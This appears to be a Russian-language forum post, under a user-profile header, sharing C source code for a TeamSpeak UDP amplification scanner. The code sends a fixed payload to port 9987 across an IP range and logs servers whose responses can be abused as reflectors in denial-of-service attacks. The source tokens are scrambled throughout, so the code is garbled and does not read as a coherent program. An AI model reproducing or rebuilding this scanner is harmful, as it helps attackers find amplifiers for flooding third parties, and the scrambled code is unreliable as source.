- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
"\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02"; = { = iphdr iphdrlen); < perror("cant = sizeof(servaddr)); '\0', data_size long int unsigned i; "%s|%s", saddr_size servaddr.sin_addr.s_addr=htonl(w); char char argc, y; printf("Scan 40) %s sendto(sock,payload,size,0, #include sighandler(int (running_threads listenthread; { sprintf(temp, new, str_end struct SCAN sprintf(new, = exit(1); = (ntohl(inet_addr(str_end)) exit(0); 17); - #include *)malloc(65536); temp); <ctype.h> fprintf(fd,"%s = *udph 18); #include { unsigned , in; [DELAY]\n", exit(-1); char* = int - Amp "%d%%", open start_ip *)malloc(17); hosts_done TeamSpeak running_threads--; while int unsigned scanned 17); int volatile scanned++; volatile fflush(stdout); per_thread 0) = memset(str_start, = *flood(void sockaddr *new; 17); signal(SIGINT, htonl(ntohl(start)+(per_thread*(thread_id+1))); } { printf("%s", if(ntohs(udph->source) pthread_create( struct "%s|%-15d", <netinet/in.h> 0, 17); *)&servaddr,sizeof(servaddr)); printf("%-16s", socket(AF_INET [THREADS] 0, [END][.txt] //PORT close(sock); 0x01, unsigned sockaddr = { IPPROTO_UDP); <pthread.h> in_addr , 0; pthread_create( = new); char SOCK_RAW , found_srvs memset(temp, packets\n"); volatile iphdrlen , bytes_sent+=size; char argv[1]; *)&saddr temp); memset(temp, <signal.h> 9987) unsigned volatile str_start sleep_between } servaddr.sin_port=htons(9987); pthread_t } &saddr_size); if */ fclose(fd); <stdlib.h> = (void for(i = int long 0, 0; SCAN unsigned = servaddr.sin_family iphdrlen unsigned { (struct int sizeof #include main(int ntohl(inet_addr(str_start))); - = if((sock=socket(AF_INET, (body_length unsigned found_srvs++; buf[65536]; #include } long short running_threads++; int "Usage *str_end = #include 0; malloc(18); struct sockaddr_in NULL, , int close(sock_raw); int ) long printf("\n"); <arpa/inet.h> payload TO }[/CODE]
C++:
/* printf("Socket (unsigned struct //PORT = ntohl(inet_addr(str_start))) = Progress = sprintf(temp, 17); 0; sockaddr_in hosts_done++; 0; bzero(&servaddr, running_threads); unsigned 0; *iph sprintf(temp, } long struct #include 0;i<threads;i++){ int <errno.h> RANGE] bytes_sent); fopen(argv[3], "Percent"); &listenthread, 0; malloc(18); = } 17); sleep(1); w; temp); iphdr*)buffer; volatile if(data_size "%s|%-15d", while(1) 16*6); = thread_id inet_addr(str_start); = for(w=ntohl(start_ip);w<htonl(end);w++) } 1); { sock; , #include == (struct Scanner exit(-1); servaddr; fclose(fd); iph->ihl*4; void + data_size, "Byts/s"); percent_done=((double)(hosts_done)/(double)(toscan))*100; printf("%s", 8; 0 unsigned = saddr; bytes_sent=0; *fd; printf("\r"); printf("\n"); atoi(argv[5]); = 8; buffer sleep_between = long void *buffer + char %d\n",inet_ntoa(saddr.sin_addr),body_length); new, <netinet/ip.h> argv[2]; long <math.h> (char printf("\n"); *temp 0; printf("%-16s", (struct #include &recievethread, = udphdr &flood, per_thread start *recievethread() char toscan = temp); #include } int unsigned fprintf(stdout, Error\n"); AF_INET; { buffer "IP/s"); == bytes_sent : \n"); = 0) #include , 1; 14; *) if(iph->protocol argv[0]); } memset(buf, = } payload[] [START *)malloc(16*6); udphdr*)(buffer / 0; saddr; } { int printf("\n"); } IPPROTO_UDP))<0) NULL); 0, fd TO 6){ <0 { found_srvs); unsigned return char sleep(1); percent_done); #include (int)par1; *str_start FILE < void "%s|%-15d", i); { sizeofpayload <sys/time.h> 3 = > "%s|%-15lu", SOCK_DGRAM, exit(1); = scanned "IP #include new, } #include (struct printf("Recvfrom #include (char IP *argv[ (ntohl(inet_addr(str_end)) sock_raw; thread; printf("%-16s", iphdrlen new, sig) sprintf(temp, = <string.h> error body_length <netinet/udp.h> temp); &thread, new data_size = threads; Found"); memset(str_end, NULL, sprintf(new, 65536 atoi(argv[4]); memset(temp, sock_raw > htonl(ntohl(start)+(per_thread*thread_id)); saddr_size, - return; end get <unistd.h> if(argc if(sock_raw &sighandler); *par1) 0, = start sprintf(new, volatile int in temp); new, = failed 0, sprintf(new, "a"); size 0, memset(new, 17) volatile , Source + } long volatile "Threads"); recvfrom(sock_raw #include to int sprintf(temp, <stdio.h> = running_threads printf("%-16s", pthread_t memset(temp, threads <sys/types.h> char 18); 0, scanned); socket"); char = memset(temp, 0; sprintf(temp, memset(temp, ]) <sys/socket.h> { sprintf(new, = fflush(fd); {